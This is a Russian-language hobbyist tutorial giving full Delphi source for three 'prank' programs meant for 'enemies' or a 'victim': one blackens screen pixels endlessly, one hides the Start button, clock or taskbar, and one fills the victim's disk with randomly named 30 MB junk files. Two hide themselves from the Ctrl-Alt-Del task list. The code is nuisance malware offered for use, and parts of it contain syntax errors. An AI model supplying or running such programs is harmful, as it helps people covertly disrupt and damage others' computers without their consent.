Делать проги-заподлянки - это моё хобби. Я написал их много и
сейчас помогу тебе написать пару своих прог для врагов или хороших
друзей :).
Прога 1. "А куда подевался
экран????" Для начала запусти Дельфи (желательно версии 5),
жми на File -- New Application. Создастся новое приложение. Сейчас
ткни на Project -- View Source. Теперь сотри там всё и
пиши:
program joke; uses Windows, Graphics; /* тут мы
подключаем необходимые модули */ var desk:TCanvas; /* тут мы
объявляем переменные */ begin end.
Ну что же,
каркас готов, теперь будем писать основной код:
program
joke!; uses Windows, Graphics; /* тут мы подключаем необходимые
модули */ var desk:TCanvas; /* тут мы объявляем переменные
*/ begin desk:=TCanvas.Create; /* инициализируем переменную
*/ desk.handle:=GetDC(0); /* получаем заголовок десктопа
*/ while true do begin Yield; desk.Pixels[Random(800),
Random(600)]=0; /* точка на экране становится черной
*/ end.
Прога почти готова, жми на F9 и наслаждайся!
Теперь осталось сделать, чтобы прогу нашу через CTRL-ALT-DEL не
видно было:
program joke!; uses Windows, Graphics; /* тут
мы подключаем необходимые модули */ var desk:TCanvas; /* тут
мы объявляем переменные */ function
RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external
'KERNEL32.DLL'; begin RegisterServiceProcess(GetCurrentProcessID,
1); desk:=TCanvas.Create; /* инициализируем переменную
*/ desk.handle:=GetDC(0); /* получаем заголовок десктопа
*/ while true do begin Yield; desk.Pixels[Random(800),
Random(600)]=0; /* точка на экране становится черной
*/ end; end.
Всё! Нашу заподлянку не снять через
"три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!
Прога
2. "А где всё?" А сейчас мы вернёмся к классике и будем
прятать часы с кнопкой "Пуск" или, на худой конец "Панель задач".
Выполни уже знакомые тебе действия с Дельфями и впиши вот
это:
program proga2; uses
Windows; var Wnd:THandle; /* объявляем переменные
*/ int:integer; begin Randomize; /* холостой прогон
генератора случайных чисел */ int:=(Random(3)); /* выбор одного
варианта из четырёх */ case int of 0: /* если первый вариант
то */ begin Wnd := FindWindow('Progman', nil); /* прячем трей
*/ Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde); end; 1: /* если второй вариант
то */ begin Wnd := FindWindow('Shell_TrayWnd', nil); Wnd :=
FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil); Wnd :=
FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil); /* прячем
часы */ ShowWindow(Wnd, SW_HIde); end; 2: begin Wnd
:= FindWindow('Shell_TrayWnd', nil); Wnd := FindWindowEx(Wnd,
HWND(0),'Button', nil); /*прячем кнопку
"Пуск"*/ ShowWindow(Wnd, SW_HIde); end; 3: begin Wnd
:= FindWindow('Shell_TrayWnd', nil); Wnd := FindWindowEx(Wnd,
HWND(0),'TrayNotifyWnd', nil); /* прячем "Панель задач"
*/ ShowWindow(Wnd,
SW_HIDe); end; end; end.
По желанию можно
вставить защиту от CTRL-ALT-DEL.
Прога 3. "Мало, мало
места на винте..." Ну а напоследок, прога, которая позволит
значительно уменьшить место на винте твоей жертвы. Как делать ты уже
знаешь, а теперь вперёд:
program musor; uses
Windows; var text:TextFile; alphabet,
temp:string; i:integer; point:Tpoint; /* Объявление переменных
*/ function RegisterServiceProcess(dwProcessID, dwType: Integer):
Integer; stdcall; external
'KERNEL32.DLL'; begin RegisterServiceProcess(0,1); alphabet:='abcdefghijklmnopqrstucvwxyz';
/*заполняем строку алфавитом*/ while true
do begin GetCursorPos(point); /* получаем координаты курсора
*/ if (point.x = 0)and(point.y = 0) then /* если х = 0 и y = 0 то
*/ begin temp:=''; /*очищаем буфер*/ for i:=1 to 8 do
/*генерируем случайное имя файла*/ temp:=Concat(temp,
alphabet[Random(length(alphabet)-1)+1]); temp:=Concat(temp,
'.'); for i:=1 to 3 do /*генерируем случайное
расширение*/ temp:=Concat(temp,
alphabet[Random(length(alphabet)-1)+1]); Assign(text, temp); /*
присваиваем имя файлу */ Rewrite(text); /*открываем файл*/ for
i:=1 to 30000000 do begin Yield; Write(text, '!'); /*
наполняем файл мусором */ end; Close(text); /* закрываем файл
*/ end; end; /* всё сначала */ end.
Действие
этой проги заключается в следующем: она следит за позицией курсора,
и, если он в левом верхнем углу экрана, то она создает под случайным
именем и расширением на диске файл с мусором. Ну вот, вы и научились
основам этого ремесла.
|